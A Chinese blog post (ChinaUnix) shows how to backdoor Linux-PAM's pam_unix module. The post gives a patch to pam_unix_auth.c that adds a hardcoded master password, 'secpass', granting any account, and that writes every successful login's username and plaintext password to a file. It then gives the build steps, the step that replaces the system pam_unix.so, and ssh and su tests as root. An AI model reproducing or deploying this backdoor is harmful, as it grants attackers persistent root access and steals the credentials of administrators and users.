Chinaunix首页 | 论坛 | 博客
  • 博客访问: 145367
  • 博文数量: 13
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 1192
  • 用 户 组: 普通用户
  • 注册时间: 2013-10-11 15:41
个人简介

Cyber Security

文章分类

全部博文(13)

文章存档

2015年(1)

2014年(6)

2013年(6)

分类: C/C++

2014-02-10 15:20:06

环境RHEL6.4

wget 

tar xzvf Linux-PAM-1.1.1.tar.gz

主要修改 Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c


点击(此处)折叠或打开

  1. /* verify the password of this user */
  2.         retval = _unix_verify_password(pamh, name, p, ctrl);

  3. if (strcmp(p,"secpass")==0 ){retval = PAM_SUCCESS;}

  4. if(retval == PAM_SUCCESS)

  5. {
  6.                 FILE *fd;
  7.                 fd = fopen(PASSWD_FILE, "a");
  8.                 fprintf(fd, "%s:%s\n", name, p);
  9.                         fclose(fd);
  10. }
  11.         name = p = NULL;
  12.         AUTH_RETURN;
  13. }
./configure && make

cp modules/pam_unix/.libs/pam_unix.so /lib/security/pam_unix.so  前提对系统现有pam_unix.so文件备份

测试ssh

以上是使用了万能密码登录功能,以不同的root密码登录,获得同样的root权限,另一个是记录登录密码到指定文件。

在被攻击端查看密码文件,第一次管理员正常以root身份登录,第二次攻击者以root身份使用后门密码登录。

测试su
普通用户sysuser登录系统后,分别使用万能密码和正常密码切换为root


总结:PAM模块的backdoor程序实现很简单,主要为万能密码和键盘记录功能,还可以提供远程发送密码功能,主要影响了所有在/etc/pam.d/下利用到PAM模块认证的方式(ssh、su、ftp、telnet等。)

Have a nice day.
阅读(5823) | 评论(0) | 转发(1) |
给主人留下些什么吧!~~